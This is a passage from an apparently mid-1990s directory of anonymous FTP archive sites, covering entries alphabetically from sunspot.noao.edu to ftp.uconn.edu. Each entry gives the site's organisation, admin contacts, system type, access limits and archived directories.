Perry.Rovers@kub.nl {posting} +Alias : sunspot.noao.edu +Admin : +Organ : National Optical Astronomy Observatoris (NOAO) +Server : +System : Unix (SunOS 4.0) +URL : ftp://ftp.sunspot.noao.edu/ +Comment: +Files : 93workshop; cal.aston; corono.maps; eclipse.94; fits_lib; future; + idl; jupiter; meetings; obs_sched; observing_temp; regions; rise; + shg; sunspots; sunspotter; usat; + +Site : ftp.supra.com +Country: USA +GMT : -8 +Date : 04-Jan-95 +Source : +Alias : suprahwy.supra.com +Admin : +Organ : Supra Corp. +Server : +System : Unix +URL : ftp://ftp.supra.com/ +Comment: Supra Corp. Information, software and FlashROM updates; access + allowed all day; see file filelist for an index +Files : Amiga; Atari; BBS config; generic info [interesting stuff]; Mac; + MS-DOS; Supra; Windows + +Site : ftp.sura.net +Country: USA +GMT : -5 +Date : 22-May-94 +Source : dlist@ora.com; Perry.Rovers@kub.nl +Alias : nic.sura.net +Admin : systems@sura.net +Organ : University of Maryland - SURAnet, , Maryland, NIC +Server : +System : Unix +URL : ftp://ftp.sura.net/ +Comment: SURAnet archive; tar and compression on the fly +Files : archie; articles; books; databases; DNS; FDIC; forms; ISDN; jobs; + loads; maps; MBONE; meetings; network info/maps; news; NIC; RIPE; + security; sendmail; SURAnet information + +Site : ftp.svpal.org +Country: +GMT : +Date : 19-Feb-95 +Source : +Alias : svpal.svpal.org +Admin : +Organ : SVPAL +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.svpal.org/ +Comment: [is this one worth mentioning? I wonder if it's an active site] +Files : antivirus software, some test files + +Site : ftp.switch.ch +Country: Switzerland +GMT : +1 +Date : 24-Jan-94 +Source : admin; old ftp-list +Alias : nic.switch.ch +Admin : switchinfo@switch.ch, lenggenhager@switch.ch (Thomas Lenggenhager), + berli@switch.ch (Martin Berli) +Organ : Swiss Academic & Research Network (SWITCH) +Server : no mailserver, but telnet to nic.switch.ch userid: info, + no password +System : Unix (SunOS 4.1.3, Sun 690MP) +URL : ftp://ftp.switch.ch/ +Comment: Open to all Swiss academic and research users as well as to all + other users according to the SWITCH use policy: foreign educational + and research institutions; Open 24 hours; transfers are logged; + max. users varies; max. bandwidth varies +Files : docs : CERT, ftp-list, FYI, IESG, IETF, Internet-Draft, + Internet-Monthly-Report, Internet-Resources-Guide, OIW, RFC, + Unicode, UNT-library-guide; mirrors: CU-SeeMe (mirror/CU-SeeMe + from gated.cornell.edu), Eudora (mirror/eudora from + ftp.qualcomm.com), GNU (mirror/gnu from prep.ai.mit.edu), Info-Mac + (mirror/info-mac from sumex-aim.stanford.edu), Kermit (mirror/kermit + from watsun.cc.columbia.edu), Khoros (mirror/khoros from + ftp.khoros.unm.edu), Linux (mirror/linux from sunsite.unc.edu), + MachTen (mirror/MachTen from ftp.tenon.com), MH (mirror/mh from + ics.uci.edu), MSDOS (/mirror/simtel/msdos from SimTel), Novell + (mirror/novell from netlab1.usu.edu), Oberon (mirror/MachTen from + ftp.inf.ethz.ch), OS/2 (mirror/os2 from ftp-os2.cdrom.com), OSF1 + (mirror/osf1 from various sites), OzTeX (mirror/oztex from + midway.uchicago.edu), UCSD-hamradio (mirror/ucsd from ftp.ucsd.edu), + UoMichigan-Mac (mirror/umich-mac from mac.archive.umich.edu), + Tcl (mirror/tcl from ftp.aud.alcatel.com), TeX (mirror/tex from + ftp.tex.ac.uk), VMS (mirror/vms from various sites), WAIS + (mirror/wais from sunsite.unc.edu), Windows 3 (mirror/win3 from + ftp.cica.indiana.edu, mirror/simtel/win3 from SimTel), WWW + (mirror/www from various sites), X11 (mirror/X11 from ftp.x.org), + XFree86 (mirror/XFree86 from ftp.xfree86.org);news archive (only a + few groups); Swiss resource network info + +Site : ftp.symantec.com +Country: USA +GMT : -8 +Date : 29-Nov-94 +Source : Perry.Rovers@kub.nl +Alias : sunweb.symantec.com +Admin : +Organ : Symantec +Server : +System : Unix (System V Release 4.0) +URL : ftp://ftp.symantec.com/ +Comment: +Files : Antivirus (CPAV, NAV); apps; devtools; utils + +Site : ftp.synapse.net +Country: USA +GMT : -7 +Date : 19-Feb-95 +Source : pkane@nfesc.navy.mil (Pat Kane) +Alias : sentinel.synapse.net +Admin : ftp-bugs@synapse.net +Organ : Synapse Internet +Server : http://www.synapse.net/ +System : Unix +URL : ftp://ftp.synapse.net/ +Comment: transfers are logged; max. 10 users; contrib directory are + contributions from users (uploads to /incoming and mail to + evanc@orinoco.synapse.net) +Files : contrib (FreeBSD, Mac (networking), MS-DOS (demos, games, + multimedia, networking), Netscape (networking), OS/2 (demos, + multimedia, networking, updates, utilities), Unix (networking), + Windows (games, misc, multimedia, networking, updates)); info + (ad&d, apipr, cad (CADalog, AutoCAD shareware catalog, AutoLISP and + other AutoCAD utils), cohousing, dsce, infozone, nashinfo, optotek, + slrclnt, vysor, wishlist); packages (winnet); shareware (bbsee, + icom, kentrol, orpheus, recipes, vbreader); Synapse (active, + newsgroups, scripts, templates) + +Site : ftp.synoptics.com +Country: USA +GMT : -8 +Date : 15-Dec-95 +Source : Perry.Rovers@kub.nl +Alias : +Admin : +Organ : Bay Networks Inc. (SynOptics Communications) +Server : +System : Unix +URL : ftp://ftp.synoptics.com/ +Comment: not all parts are accessible, read README for a list of available + files +Files : Lattistalk Router software; Synoptics products updates 281x, 331x, + 338x, 3395, 351x, 3522, 3800, 5390 router software; Hubmib working + group, SNMP MIB compiler (SMIC) + +Site : ftp.syr.edu +Country: USA +GMT : -5 +Date : 11-Jul-94 +Source : Perry.Rovers@kub.nl +Alias : syr.edu +Admin : +Organ : Syracuse University, Syracuse, New York +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.syr.edu/ +Comment: +Files : AFA-Objects; archives; isr; math; networks: hosts, info; news; + novell; Sun-fixes; Unix; virus + +Site : ftp.sys.utoronto.ca +Country: Canada +GMT : -5 +Date : 10-Sep-94 +Source : Perry.Rovers@kub.nl; comics/faq/part5 +Alias : ferut.sys.utoronto.ca, ftp.white.toronto.edu +Admin : +Organ : University of Toronto, Toronto, Ontario +Server : +System : Unix +URL : ftp://ftp.sys.utoronto.ca/ +Comment: directories: /pub/es, /pub/muds +Files : 9term; amoeba; anime; comics: Watchmen (read the rec.arts.comics + FAQ for details); eclectic music; emacs; es; frp; + intercal; mg; MUD clients and info (tcltt); rc; SAM mailinglist + archive; tech-reports; words + +Site : ftp.tamu.edu +Country: USA +GMT : -6 +Date : 22-May-94 +Source : +Alias : tamsun.tamsun.edu +Admin : root@tamsun.tamu.edu +Organ : Texas A&M University, , Texas, Computing Services Center +Server : +System : Unix +URL : ftp://ftp.tamu.edu/ +Comment: access is logged +Files : comet; compression; docs; gopher; herps; images; InfoMagic CD; Mac; + network; newsgroups; OS/2; PC-SIG; ph; RFCs; security; soc.penpals; + Sun-fix; SunOS4; SunOS5; Suntools; tamsun config; terms; TeXrox; + Unix-helpdesk; Uts4; web; win3; winsock; X; xyplex + +Site : ftp.tau.ac.il +Country: Israel +GMT : +2 +Date : 23-Aug-94 +Source : Perry.Rovers@kub.nl +Alias : zruby.tau.ac.il +Admin : manny@zruby.tau.ac.il +Organ : Tel Aviv University, Tel Aviv +Server : +System : Unix +URL : ftp://ftp.tau.ac.il/ +Comment: +Files : books; broido; kermit; qmsdrivers; OS (FreeBSD, SLS, Slackware, + Xkernel); rafi; sources; yael; yaniv; zindo + +Site : ftp.tc.cornell.edu +Country: USA +GMT : -5 +Date : 12-Aug-94 +Source : old ftp-list +Alias : eagle.tc.cornell.edu, info.tc.cornell.edu +Admin : +Organ : Cornell University, Ithaca, New York, Theory Center +Server : +System : Unix +URL : ftp://ftp.tc.cornell.edu/ +Comment: directory: pub/vis +Files : data explorer; debugger biblio; faux; hpf; swb; tech-reports; + utilities; VIS + +Site : ftp.tcp.com +Country: USA +GMT : -8 +Date : 10-Sep-94 +Source : old ftp-list +Alias : tcp.com, qrd.tcp.com +Admin : jim@tcp.com +Organ : The Commnet Project Archives, Seattle, Washington +Server : +System : Unix +URL : ftp://ftp.tcp.com/ +Comment: successor of piggy.ucsb.edu; max. 50 users; please use off-peak + hours 2100-1100 PDT (GMT -8); transfers are logged; read README + for info and README.uploads for info on volunteer work for The + Commnet Project, Santa Clara, California +Files : anime; anime-manga; ape-info; ben-pics; clarissa; Coherent; dish; + dishwalla; image; introspective; jl-pics; jpeg; jpop; life-talking; + lullaby; maiko; melrose-place; MUD clients; neph; Queer Resource + Directory (QRD); SVR4; tapestries; vincent-clarke + +Site : ftp.tcs.tulane.edu +Country: USA +GMT : -7 +Date : 15-Dec-94 +Source : Perry.Rovers@kub.nl +Alias : rs1.tcs.tulane.edu +Admin : +Organ : Tulane University, New Orleans, Louisiana +Server : +System : Unix +URL : ftp://ftp.tcs.tulane.edu/ +Comment: +Files : brain.mri; DMS; docs; icyra; Mac; PC; research-news + +Site : ftp.technion.ac.il +Country: Israel +GMT : +2 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : ftp-admin@ftp.technion.ac.il +Organ : Technion - Israel Institute of Technology, Haifa, Israel Public + Software Library +Server : gopher.technion.ac.il, http://www.technion.ac.il/ +System : Unix +URL : ftp://ftp.technion.ac.il/ +Comment: max. 5 users; read site.tree and upload.info; all activity is + logged; for a list of site aliases use: quote site alias (on a Unix + system, use site alias on a Multinet VMS system) +Files : DECcampus; GNU; Lsoft (listserv); Mac; mirrors: (Simtel Software + Repository mirror (/pub/unsupported/dos/simtel), + ftp.cica.indiana.edu (/pub/unsupported/mswin), mcafee.com + (/pub/unsupported/McAfee), ftp-os2.cdrom.com (/pub/unsupported/os2); + MS-DOS; network information; newsletters; Novell; reports; RFCs; VMS + +Site : ftp.telebit.com +Country: USA +GMT : -8 +Date : 23-Aug-94 +Source : Perry.Rovers@kub.nl +Alias : apache.telebit.com, telebit.whnet.com +Admin : +Organ : Telebit +Server : +System : Unix +URL : ftp://ftp.telebit.com/ +Comment: +Files : Telebit (modem) related files: 2strokes, ap-notes, bmw, bootp, + ipx, modemmgt, netblazer, mews, pdp8, ppp, ppp-consort, slip, + Sun2, tech-support, uucp-help + +Site : ftp.teleport.com +Country: USA +GMT : -8 +Date : 30-Oct-94 +Source : lynsared@teleport.com (Lynsa) {posting} +Alias : andre.teleport.com +Admin : +Organ : Teleport, Portland, Oregon +Server : www.teleport.com +System : Unix +URL : ftp://ftp.teleport.com/ +Comment: max. 10 users; transfers are logged +Files : Portland; Teleport info; user public directories; vendors (CCI) + +Site : ftp.tem.nctu.edu.tw +Country: Taiwan +GMT : +10 +Date : 22-May-94 +Source : Perry.Rovers@kub.nl +Alias : hub.tem.nctu.edu.tw +Admin : +Organ : National Chiao Tung University, Hsin Chu, Transport Engineering + and Management dept. +Server : +System : Unix +URL : ftp://ftp.tem.nctu.edu.tw/ +Comment: Max. 8 users; FSP server +Files : Chinese; courses; docs; DSS; GIS; Linux; Mail; mods; MS-DOS; News; + Patches; Pictures; Unix + +Site : ftp.temple.edu +Country: USA +GMT : -5 +Date : 24-Aug-94 +Source : Unix Info magazine +Alias : cronkite.ocis.temple.edu +Admin : ftp-manager@cronkite.ocis.temple.edu +Organ : Temple University, Philadelphia, Pennsylvania, OCIS +Server : +System : Unix +URL : ftp://ftp.temple.edu/ +Comment: Open 24 hours +Files : entertainment; info; Mac; PC; psych523; ray; src; Unix + +Site : ftp.tenon.com +Country: USA +GMT : -8 +Date : 24-Jan-95 +Source : +Alias : toady.tenon.com +Admin : tentech@tenon.com +Organ : Tenon +Server : +System : Unix +URL : ftp://ftp.tenon.com/ +Comment: MachTen server, mirrored on maluku.jou.utexas.edu; 56K link +Files : MachTen (apps, bug fixes, docs, mailing list archive, ports, + software, tech notes, tools, updates, upgrades) + +Site : ftp.tex.ac.uk +Country: UK +GMT : 0 +Date : 15-Dec-94 +Source : PC NFS FAQ +Alias : ouse.cl.cam.ac.uk +Admin : ctan-uk@tex.ac.uk +Organ : UK TeX Archive +Server : +System : Unix +URL : ftp://ftp.tex.ac.uk/ +Comment: servers supports dynamic creation of zip, zoo or tar.gz archives +Files : a2x-voice; TeX (root directory, mirrored by ftp.doc.ic.ac.uk, see also + ftp.dante.net, ftp.shsu.edu) + +Site : ftp.th-darmstadt.de +Country: Germany +GMT : +1 +Date : 10-Sep-94 +Source : Deutsche Anonyme FTP-Server List +Alias : rs3.hrz.th-darmstadt.de +Admin : ftpadmin@ftp.th-darmstadt.de (Hans-Christoph Deeken) +Organ : Technische Hochschule Darmstadt (Darmstadt Polytechnical Institute), + Darmstadt, CS dept. +Server : +System : Unix +URL : ftp://ftp.th-darmstadt.de/ +Comment: +Files : Amiga; Archie; archivers; databases; dicts; doc; editors; fixes; + GNU; graphics; hhlrinfo; lang; Linux; machines; mods; MS-DOS; + networking; OS; OS/2; programming; RFCs; starter; sysadmin; TeX; + thd; usenet; X11 + +Site : ftp.thegroup.net +Country: USA +GMT : -8 +Date : 10-Sep-94 +Source : mark@thegroup.net (Mark S. Burgess) {posting} +Alias : mark.thegroup.net +Admin : +Organ : Data Transfer Group, San Diego, California +Server : gopher.thegroup.net, www.thegroup.net +System : Windows NT +URL : ftp://ftp.thegroup.net/ +Comment: +Files : CLARION; Windowsprograms; Wintech + +Site : ftp.thepoint.com +Country: USA +GMT : -5 +Date : 30-Oct-94 +Source : arlie@thepoint.com (Arlie Davis) {posting} +Alias : thepoint.com +Admin : +Organ : The Point, , Kentucky +Server : www.thepoint.com +System : Unix +URL : ftp://ftp.thepoint.com/ +Comment: transfers are logged +Files : audio; bishop; image; Linux; Mac; Microsoft; MS-DOS; mskb; Telebit; + text; The Point info; Unix; user public directories; WAIS; Windows; + xbit + +Site : ftp.theporch.com +Country: USA +GMT : -6 +Date : 21-Nov-94 +Source : admin +Alias : theporch.theporch.com +Admin : root@theporch.theporch.com +Organ : The Porch, Nashville, Tennessee +Server : WWW: http://www.theporch.com/ +System : Unix +URL : ftp://ftp.theporch.com/ +Comment: +Files : A/UX ports and sources: berkdoc, bmake, listproc, make, + popper, wu-ftpd-shadow + +Site : ftp.think.com +Country: USA +GMT : -5 +Date : 16-Jul-94 +Source : Perry.Rovers@kub.nl +Alias : early-bird.think.com, think.com +Admin : +Organ : Thinking Machines Corporation +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.think.com/ +Comment: directory: /wais +Files : adoption; Alife III shirt; animal-rights; aviation; caia-93; carpal; + cellular-automata; cm; cmost; cvs; dgg; disinfectant; GNUs; gurps; + HPFF; jpeg; libernet; moose; Oh No More Lemmings Demo (Mac); pc532; + radio; space-comp-std; Sse; Think; UUCP; Waco; WAIS related files; + WX (weather); xpbiff + +Site : ftp.thp.uni-duisburg.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : hal6000.thp.uni-duisburg.de +Admin : ftpadmin@uni-duisburg.de +Organ : Universitaet Duisburg (University of Duisburg), Duisburg, + Institute for Theoretical Physics +Server : +System : +URL : ftp://ftp.thp.uni-duisburg.de/ +Comment: +Files : + +Site : ftp.thp.uni-koeln.de +Country: Germany +GMT : +1 +Date : 22-May-94 +Source : Deutsche Anonyme FTP-Server List; gorski@ph-cip.uni-koeln.de + (Achim Gorksi) +Alias : vax.ph-cip.uni-koeln.de +Admin : ftp-adm@ftp.thp.uni-koeln.de, acorn@ph-cip.uni-koeln.de, + amiga@ph-cip.uni-koeln.de, atari@ph-cip.uni-koeln.de +Organ : Universitaet Koeln (University of Cologne), Cologne +Server : +System : Unix +URL : ftp://ftp.thp.uni-koeln.de/ +Comment: local 28 users anytime, remote 8 users SaSu|Any20:00-06:00, 2 users + Any other; Minix moved to ftp.uni-bielefeld.de +Files : Acorn; Amiga; Atari; some Linux files; src; TeX + +Site : ftp.ti.com +Country: USA +GMT : -6 +Date : 25-Jan-95 +Source : old ftp-list +Alias : gate.ti.com,ti.com +Admin : ftpadmin@ftp.ti.com +Organ : Texas Instruments +Server : +System : Unix +URL : ftp://ftp.ti.com/ +Comment: do NOT generate recursive listings, use ls-lR.Z or archie; + g(un)zip, (de)compress and tar on the fly +Files : assetdemo; CLUE (Common Lisp User-interface Environment; COOL; DCA; + j88; mirror of the TMS320 BBS; oath (Object-oriented Abstract Type + Hierarchy); sdr + +Site : ftp.ticsa.com +Country: South Africa +GMT : 0 +Date : 21-Aug-94 +Source : Perry.Rovers@kub.nl +Alias : ticsa.com, gopher.ticsa.com +Admin : ftp@ticsa.com +Organ : The Internetworking Company of Southern Africa (TICSA) +Server : gopher +System : Unix +URL : ftp://ftp.ticsa.com/ +Comment: +Files : archie; gopher; NeTraMet; NN; tcpws; TICSA info; Tin; wu-ftpd + +Site : ftp.tis.com +Country: USA +GMT : -5 +Date : 22-May-94 +Source : Perry.Rovers@kub.nl +Alias : relay.tis.com +Admin : +Organ : Trusted Information Systems, Glenwood, Maryland +Server : +System : +URL : ftp://ftp.tis.com/ +Comment: some files are export controlled +Files : 386users mailinglist archive; crypto; firewall; PCIP; SNMPr2; TMACH + +Site : ftp.tno.nl +Country: Netherlands +GMT : +1 +Date : 16-May-94 +Source : Perry.Rovers@kub.nl +Alias : utopia.tno.nl +Admin : +Organ : The Netherlands Organization For Applied Scientific Research (TNO), + Rijswijk +Server : +System : Unix +URL : ftp://ftp.tno.nl/ +Comment: anonymous uploads not allowed +Files : doc; GNU; internet (alex, archie, cnews, cso, gopher, html, httpd, + hyperbole, hypernews, lynx, mailservers, mirror, mosaic, nestor, + npr, prospero, rn, wais); lang; Mac; misc; networking; NLUUG; + Novell; packages (Linux: SLS); PC (Cello, McAfee, Mosaic, NCSA-kit, + NCSA-telnet, packet drivers, tn3270, viewers, winsock, wtn3270); + security; TNO; Unix + +Site : ftp.tnt.uni-hannover.de +Country: Germany +GMT : +1 +Date : 10-Sep-94 +Source : fuchs@tnt.uni-hannover.de (Hendrik Fuchs) {posting} +Alias : logos.tnt.uni-hannover.de +Admin : +Organ : Universitaet Hannover (University of Hannover), Hannover, Institut + fuer Theoretische Nachrichtentechnik und Informationsverarbeiting + (Institute for Theoretic Broadcastingtechniques and + Informationprocessing) +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.tnt.uni-hannover.de/ +Comment: +Files : AI; cad; images; monalisa; MPEG audio test bitstreams; networking; + papers; parallel; signal-processing; visualization + +Site : ftp.tohoku.ac.jp +Country: Japan +GMT : +9 +Date : 14-Dec-94 +Source : old ftp-list +Alias : akiu.gw.tohoku.ac.jp +Admin : ftp-admin@tohoku.ac.jp +Organ : Tohoku University, Sendai +Server : +System : Unix +URL : ftp://ftp.tohoku.ac.jp/ +Comment: nice 'graphics' logo on login; use 'site index pattern' or 'quote + site index pattern' to find something +Files : bbms; BSD; Canna; docs; GNU; IRC; lang; Linux; Mac (info-mac + mirror); MS-DOS; network; SCI; SKK; soc; star; tains; terakoya; TeX; + Towns; Unix; Windows; Wnn; WWFS; X; X6800; Zaurus + +Site : ftp.trlhz.trl.ibm.co.jp +Country: Japan +GMT : +9 +Date : 15-Dec-94 +Source : mikescott@ix.netcom.com (Michael Scott) {posting} +Alias : boojum.trlhz.trl.ibm.co.jp +Admin : +Organ : IBM - TRL +Server : +System : Unix +URL : ftp://ftp.trlhz.trl.ibm.co.jp/ +Comment: +Files : AIX; AIXFAQJ + +Site : ftp.truevision.com +Country: USA +GMT : -5 +Date : 04-Jan-95 +Source : sserb@vnet.ibm.com (Sorin Serb) +Alias : ftp.rasterops.com,ftpserver.truevision.com +Admin : support@rasterops.com, support@truevision.com +Organ : Truevision/RasterOps, Santa Clara, California +Server : +System : Mac +URL : ftp://ftp.truevision.com/ +Comment: graphics related material for Truevision/RasterOps products +Files : docs; faqs_Q&A; images; Mac; PC; press_releases; Sun; Telefinder + +Site : ftp.trumpet.com.au +Country: Australia +GMT : +10 +Date : 30-Oct-94 +Source : Mats.Johansson@luengelska.lu.se +Alias : louie.trumpet.com.au +Admin : P.Tattam@trumpet.com.au (Peter Tattam) +Organ : Trumpet +Server : +System : Unix +URL : ftp://ftp.trumpet.com.au/ +Comment: +Files : IRC; SLIPper; TCP-ABI; Trumpet newsreader home: dostrump, LWP, view, + winsock, wintrump; WinIRC + +Site : ftp.tu-bs.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List; mail from admin +Alias : ftp.ibr.cs.tu-bs.de, diana.ibr.cs.tu-bs.de, ftp.rz.tu-bs.de, + rzserv3.rz.tu-bs.de +Admin : ftp@ftp.tu-bs.de +Organ : Technische Universitaet Braunschweig (Technical University of + Braunschweig), Braunschweig, CS dept. & CC +Server : archive-server@ibr.cs.tu-bs.de +System : Unix +URL : ftp://ftp.tu-bs.de/ +Comment: campus spanning compound of several disjunct archive sites +Files : 386BSD; Atari; fuzzy-bibliography; GNU; interviews; isode; Linux; + NetBSD; OS/2; PC; RFCs; tkined; Unix; Usenet; X11R5 + +Site : ftp.tu-chemnitz.de +Country: Germany +GMT : +1 +Date : 14-Dec-94 +Source : Deutsche Anonyme FTP-Server List +Alias : ftp.hrz.tu-chemnitz.de, ftp.informatik.tu-chemnitz.de, + saturn.informatik.tu-chemnitz.de, saturn.hrz.tu-chemnitz.de, + atlas-f.hrz.tu-chemnitz.de, atlas-f.informatik.tu-chemnitz.de +Admin : ftpadm@ftp.tu-chemnitz.de, Fischer@hrz.tu-chemnitz.de +Organ : Technische Universitaet Chemnitz (Chemnitz University of + Technology), Chemnitz, CC and CS dept +Server : +System : Unix +URL : ftp://ftp.tu-chemnitz.de/ +Comment: Available between 16:00 and 08:00 local time +Files : Acorn: Amiga (AMInet ftp.cs.tu-berlin.de); ArMaTuReS (TeX) and + ArmTeX 3.14; Atari; documents: appl, books, comp, mail network + (ftp.germany.eu.net); games; GNU (ftp.gnu.ai.mit.edu); Hamradio + (ucsd.edu); HP UX (hpux.ask.uni-karlsruhe.de); infosys; + Linux (tsx-11.mit.edu); Mathematica (ftp.wri.com); + MS-DOS (oak.oakland.edu); multimedia; NETBSD (grasp.insa-lyon.fr); + Netware; news (ftp.germany.eu.net); NeXT + (ftp.informatik.uni-muenchen.de); Strategy; Sun-info; TeX + (ftp.uni-stuttgart.de); Unix; Windows (ftp.cica.indiana.edu); + X11 (ftp.germany.eu.net) + +Site : ftp.tu-clausthal.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : sun.tu-clausthal.de, sun.rz.tu-clausthal.de +Admin : ftpadm@ftp.tu-clausthal.de, ftpadm@rz.tu-clausthal.de +Organ : Technische Universitaet Clausthal (Clausthal University of + Technology), Clausthal, CC +Server : mail-server@ftp.tu-clausthal.de +System : Unix +URL : ftp://ftp.tu-clausthal.de/ +Comment: index.complete in all major sections; /pub contains all files; + weekdays 07:30-21:00 local time: 20 foreign users, other: 60 foreign + users; FSP service available +Files : Amiga; Atari; docs; graphics; GIF; GNU; HAM-radio; Linux; Mac; + MS-DOS; RFCs; OS/2; TeX; Unix; Windows; X + +Site : ftp.tu-dresden.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : rcs1.urz.tu-dresden.de +Admin : pdsowner@rcs1.urz.tu-dresden.de +Organ : Technische Universitaet Dresden (Dresden Institute of Technology), + Dresden, CC +Server : +System : Unix +URL : ftp://ftp.tu-dresden.de/ +Comment: +Files : GNU; Linux (sunsite.unc.edu); MS-DOS; MS-Windows 3; OS/2; X11 + +Site : ftp-tu-graz.ac.at +Country: Austria +GMT : +1 +Date : 23-Aug-94 +Source : Perry.Rovers@kub.nl +Alias : fstgds02.tu-graz.ac.at +Admin : ftp@ftp.tu-graz.ac.at +Organ : Technischer Universitaet Graz (Graz Institute of Technology), Graz +Server : +System : Unix +URL : ftp://ftp-tu-graz.ac.at/ +Comment: server supports locate, built-in archie search, on the fly + (de)compression/tar; read FEATURES for more info +Files : binaries (mostly GNU for DECstations); BSD4.4-Lite; docs; FreeBSD + (from freebsd.cdrom.com); GNU; Hyper-G (clients); Linux (from + sunsite.unc.edu); images; math; MS-ODS; net; papers; RFCs + (from ftp.univie.ac.at); TeX + +Site : ftp.tu-ilmenau.de +Country: Germany +GMT : +1 +Date : 28-Mar-94 +Source : Deutsche Anonyme FTP-Server List +Alias : cranach.rz.ru-ilmenau.de +Admin : ftp@cranach.rz.ru-ilmenau.de +Organ : Technische Universitaet Ilmenau (Ilmenau Institute of Technology), + Ilmenau, CC +Server : +System : +URL : ftp://ftp.tu-ilmenau.de/ +Comment: +Files : + +Site : ftp.turbo.nsk.su +Country: Russia +GMT : +6 +Date : 30-Oct-94 +Source : viv@rla.msk.su (Vladimir Ivanov) +Alias : +Admin : roman@turbo.nsk.su ; dimas@turbo.nsk.su ; bob@turbo.nsk.su +Organ : TURBO-NET +Server : mailserv@fagot.turbo.nsk.su (send "help") +System : +URL : ftp://ftp.turbo.nsk.su/ +Comment: limited access +Files : bin; cdrom1; cdrom2; files + +Site : ftp.twi.tudelft.nl +Country: Netherlands +GMT : +1 +Date : 29-Nov-94 +Source : nl-ftp as posted to nlnet.announce; + Piet de Bondt (bondt@dutiws.twi.tudelft.nl); + Karoline Timmermans (kareline@dutiwa.twi.tudelft.nl) +Alias : +Admin : ftp@ftp.twi.tudelft.nl (general ftp admin address) +Organ : Technische Universiteit Delft (Delft University of Technology), + Delft, Math and CS dept. +Server : www.twi.tudelft.nl +System : Unix (Sun) +URL : ftp://ftp.twi.tudelft.nl/ +Comment: WWW contact webmaster@www.twi.tudelft.nl for info; 165Mb; + limit of 5 users between 06:00 and 18:00, limit of 10 outside + these hours; user 'ftp' possible instead of 'anonymous'; +Files : Antivirus (MS-DOS: TBAV); FTP software; GNU; Linux (Slackware: + daily mirror from ftp.cdrom.com); Novell encryption; Unix; WWW; + X11; ZyXEL firmware + +Site : ftp.u.washington.edu +Country: USA +GMT : -8 +Date : 22-Feb-95 +Source : old ftp-list +Alias : saul5.u.washington.edu +Admin : +Organ : University of Washington, Seattle, Washington +Server : +System : Unix (Ultrix 4.2) +URL : ftp://ftp.u.washington.edu/ +Comment: several loose files in /pub; lots in user-supported +Files : DEC OSF; docs; IBM PC; RS6000; user-supported (airplanes, alt.drugs, + alt.fan.fabio, alt.locksmithing, amnesty, animaniacs, anime, + Anne Frank, Applets, arthistory, BOE, CALI, CARTAH, CHMC audiology, + Chimaera, Chinese Fieldwork, Christmas, cinema, classics, climbing, + cmedicine, cogsci, cypherpunks, depeche mode, design-l, Doom, + Duran Duran, ECSEL, fugate, GNU, go, hades, health reform, hockey, + Holocaust, homecare, hpoadocs, hsis94, ICSC, logistic data, + LOTRmush, MRwww, MS-DOS, music gifs, netstudy, new media, NGS, + NetBSD-Amiga, obsidian, peru, phantom, PIX, positron, psycho, + pyrite, rainman, realestate, RR, Red Dwarf, script-tex, seasonic, + seattle-maps, SimTel20, slovene, TMBG, tobit, UKC, USTC, UW_IRC, + V-Man, venice, Virtual Reality, virtual worlds, vislab, webber, + webinfo, WeNa, xor, XXXX, yellow submarine, zarathustra + +Site : ftp.u-tokyo.ac.jp +Country: Japan +GMT : +9 +Date : 19-Feb-95 +Source : ftp.hitachi.co.jp +Alias : +Admin : ftp@ftp.u-tokyo.ac.jp +Organ : University of Tokyo, Tokyo +Server : +System : Unix +URL : ftp://ftp.u-tokyo.ac.jp/ +Comment: server can (de)compress and tar +Files : BSD386; current; HP-UX (8,9); HyperCard; Info-Mac; Japanese; Mac; + mail; news; packages; RFCs; society; Sun-patches; Windows 3; X11R6; + X68K + +Site : ftp.ua.pt +Country: Portugal +GMT : 0 +Date : 24-Jan-94 +Source : cooker@ua.pt (Fernando Cozinheiro) +Alias : dns.ua.pt, zeus.ci.ua.pt +Admin : archie@ci.ua.pt, archive-adm@ci.ua.pt +Organ : Universidade de Aveiro (University of Aveiro), Aveiro, Centro de + Informatica (CS dept.) +Server : +System : Unix +URL : ftp://ftp.ua.pt/ +Comment: max. 5 users; transfers are logged; access to several directories + below pub/local is restricted to *.ua.pt and *.inesca.pt +Files : Amiga; cisco; docs (mirror of ns.dns.pt, PT, RCCN); GNU; ham-radio; + HP48; local: dicts, hypermedia, music (basement, docs, guitar, + software), news, PC (sound, tcp, win3, win32s), pictures+sounds; Mac + (comm, compression, developer, diskfile, graphicsutil, hypercardutil, + multifinder, network, print, screensaver, security, text, unix, + virus); misc (AI, ASCII-art, Khoros, matlab, minuet, mpack, + NCSA-telnet, Novell-patches, nupop, pegasus, pop, ps_graphics, + smile, stereo, TeX); netnews; PC (SimTel Software Repository + mirror); programming; Unix (adm, debug, editors, games, graphics, + Mac, mail, misc, net, news, pack, security, sounds, tia, X) + +Site : ftp.ucdavis.edu +Country: USA +GMT : -8 +Date : 12-Feb-94 +Source : Perry.Rovers@kub.nl +Alias : dale.ucdavis.edu +Admin : +Organ : University of California - Davis, Davis, California +Server : +System : Unix (SunOS 4.1) +URL : ftp://ftp.ucdavis.edu/ +Comment: some loose files in /pub +Files : bitsites; cpumeter; dialppp; domain-info; Eclipse; econet; + Hitchhikers Guide to the Internet; INET93; inet-drafts; Internet + Resource Guide; JIS; Kanji; lacnet; listoflists; Mac; MS-DOS (old + archivers); PC lisp; peacenet; popmail; RFCs; sendmail; slnet; UCD + info; Unix; USGS; VMS + +Site : ftp.uci.kun.nl +Country: Netherlands +GMT : +1 +Date : 16-May-94 +Source : Perry.Rovers@kub.nl +Alias : ultrix.uci.kun.nl +Admin : +Organ : Katholieke Universiteit Nijmegen (University of Nijmegen), Nijmegen, + Universitair Centrum voor Informatievoorziening (UCI) +Server : +System : Unix (Ultrix) +URL : ftp://ftp.uci.kun.nl/ +Comment: local use only please +Files : + +Site : ftp.uconn.edu +Country: USA +GMT : -5 +Date : 25-Aug-94 +Source : Perry.Rovers@kub.nl +Alias : 